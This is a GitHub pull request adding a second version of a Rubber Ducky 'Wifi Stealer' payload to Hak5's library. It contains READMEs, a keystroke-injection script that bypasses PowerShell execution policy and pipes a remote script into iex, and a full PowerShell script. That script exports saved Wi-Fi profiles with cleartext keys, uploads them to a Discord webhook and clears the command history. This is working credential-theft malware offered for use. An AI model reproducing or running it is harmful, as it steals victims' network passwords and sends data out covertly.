Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added a second version to wifi-pw script #513

Open
wants to merge 10 commits into
base: master
Choose a base branch
from
66 changes: 20 additions & 46 deletions payloads/library/credentials/WLAN-Windows-Passwords/README.md
Original file line number Diff line number Diff line change
@@ -1,48 +1,22 @@
# WLAN Windows Password

A script used to stole target WLAN Passwords.
# Wlan Password Grabber
A script used to steal Network Passwords and more from Windows targets

**Category**: Credentials

## Description

A script used to stole target WLAN Passwords.

Opens PowerShell hidden, grabs wlan passwords, saves as a cleartext in a variable and exfiltrates info via Discord Webhook.

Then it cleans up traces of what you have done after.

## Getting Started

### Dependencies

* An internet connection
* Windows 10,11

### Executing program

* Plug in your device
* Invoke 2 netsh commands
* Invoke-WebRequest will be entered in the Run Box to send the content

## Credits

<h2 align="center"> Aleff :octocat: </h2>
<div align=center>
<table>
<tr>
<td align="center" width="96">
<a href="https://github.com/aleff-github">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" />
</a>
<br>Github
</td>
<td align="center" width="96">
<a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" />
</a>
<br>Linkedin
</td>
</tr>
</table>
</div>
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

## What Version should i use?
### Version 1.0 by [allef-github](https://github.com/aleff-github):
This version uses a very direct way, is a bit faster then v.2.0 and the PowerShell script is very short, but it only sends the Wifi Name and Password to the webhook and does only work on English Machines.
Also the Payload has a few more lines.

### Version 2.0 by [truelockmc](https://github.com/truelockmc):
This Version works on every Windows Machine, no matter what language your system is.
Version 2.0 also sends you more Information to the Webhook, and so it also gives you access to networks that are secured with other Methods then Passwords.
The down side is that Version 2.0 writes stuff on the disk, version 1.0 not, also v.2.0 takes a few seconds longer to execute and the PowerShell script is longer.
The Payload is shorter and formatted so its easier to read.

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
### Further Information for [1.0](https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/credentials/WLAN-Windows-Passwords/v.1.0_by_allef_github)
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
### Further Information for [2.0](https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/credentials/WLAN-Windows-Passwords/v.2.0_by_truelockmc)
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
# WLAN Windows Password v.1.0

A script used to steale target WLAN Passwords.

**Category**: Credentials

## Description

A script used to stealle target WLAN Passwords.

Opens PowerShell hidden, grabs wlan passwords, saves as a cleartext in a variable and exfiltrates info via Discord Webhook.

Then it cleans up traces of what you have done after.

## Getting Started

### Dependencies

* An internet connection
* Windows 10,11

### Executing program

* Plug in your device
* Invoke 2 netsh commands
* Invoke-WebRequest will be entered in the Run Box to send the content

## Credits

<h2 align="center"> Aleff :octocat: </h2>
<div align=center>
<table>
<tr>
<td align="center" width="96">
<a href="https://github.com/aleff-github">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" />
</a>
<br>Github
</td>
<td align="center" width="96">
<a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" />
</a>
<br>Linkedin
</td>
</tr>
</table>
</div>
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
# Wifi Stealer v.2.0
A script used to steal Network Passwords and more from Windows targets

**Category**: Credentials

## Description

A script used to steal Network Passwords and more

Opens PowerShell hidden, grabs network .xml files (containing Passwords and more) and exfiltrates info via Discord Webhook.

## Getting Started

### Dependencies

* An internet connection
* Windows 10,11
* Win+R and powershell working

### Executing program

* Plug in your device
* run Windows Powershell
* export stored network .xml files containing passwords and more
* send the Files to a Discord webhook and delete them on the local machine

## Credits

<h2 align="center"> true_lock :octocat: </h2>
<div align=center>
<table>
<tr>
<td align="center" width="96">
<a href="https://github.com/truelockmc/">
<img src="https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true" width="48" height="48" />
</a>
<br>Github
</td>
</tr>
</table>
</div>
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
REM ###################################################################
REM # |
REM # Title : WLAN-Windows-Passwords-Discord-Exfiltration |
REM # Author : true_lock |
REM # Description: A script used to steal target WLAN Passwords. |
REM # Category : Credentials |
REM # Target : Windows 10-11 |
REM # Version : 1.0 |
REM # |
REM ###################################################################

REM Browser History to Discord Webhook
GUI r
STRING powershell
ENTER
STRING Set-ExecutionPolicy Bypass -Scope Process -Force
ENTER

REM Saved WiFi Info to Discord Webhook
STRING $whuri='YOUR_WEBHOOK_URL'; irm LINK_TO_THE_SCRIPT_HERE | iex
ENTER

STRING exit
ENTER
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
# Export-Verzeichnis
$exportDir = "$env:temp\SomeStuff"

# Sicherstellen, dass das Exportverzeichnis existiert
if (-not (Test-Path $exportDir)) {
try {
New-Item -ItemType Directory -Path $exportDir -Force
} catch {
Write-Host "Fehler beim Erstellen des Exportverzeichnisses: $_"
return
}
}

# WLAN-Profile exportieren (inkl. Schlüssel)
try {
netsh wlan export profile key=clear folder=$exportDir
} catch {
Write-Host "Fehler beim Exportieren der WLAN-Profile: $_"
return
}

# Alle exportierten XML-Dateien lesen
$xmlFiles = Get-ChildItem -Path $exportDir -Filter "*.xml"
if ($xmlFiles.Count -eq 0) {
Write-Host "Keine exportierten WLAN-Profile gefunden."
return
}

# Webhook-Anfrage mit Datei-Upload
foreach ($xmlFile in $xmlFiles) {
$fileContent = Get-Content -Path $xmlFile.FullName -Raw

# Bereite die Daten vor
$formData = @{
"username" = "$env:COMPUTERNAME"
"content" = "Hier ist das WLAN-Profil: $($xmlFile.Name)"
}

$formDataFiles = @{
"file" = New-Object System.IO.FileInfo($xmlFile.FullName)
}

# Setze Header für multipart/form-data
$boundary = [System.Guid]::NewGuid().ToString()
$contentType = "multipart/form-data; boundary=$boundary"
$body = ""

# Füge die Daten hinzu
foreach ($key in $formData.Keys) {
$body += "--$boundary`r`n"
$body += "Content-Disposition: form-data; name=`"$key`"`r`n"
$body += "`r`n"
$body += "$($formData[$key])`r`n"
}

# Füge die Datei hinzu
$body += "--$boundary`r`n"
$body += "Content-Disposition: form-data; name=`"file`"; filename=`"$($formDataFiles['file'].Name)`"`r`n"
$body += "Content-Type: application/octet-stream`r`n"
$body += "`r`n"
$body += [System.IO.File]::ReadAllText($formDataFiles['file'].FullName)
$body += "`r`n"
$body += "--$boundary--`r`n"

# Wandeln Sie den Body in Byte-Daten um
$bodyBytes = [System.Text.Encoding]::UTF8.GetBytes($body)

# Senden Sie die Anfrage
try {
$response = Invoke-RestMethod -Uri $whuri -Method Post -Body $bodyBytes -Headers @{
"Content-Type" = $contentType
}
Write-Host "Erfolgreich an den Webhook gesendet: $($xmlFile.Name)"
} catch {
Write-Host "Fehler beim Senden an den Webhook: $_"
}
}

Clear-History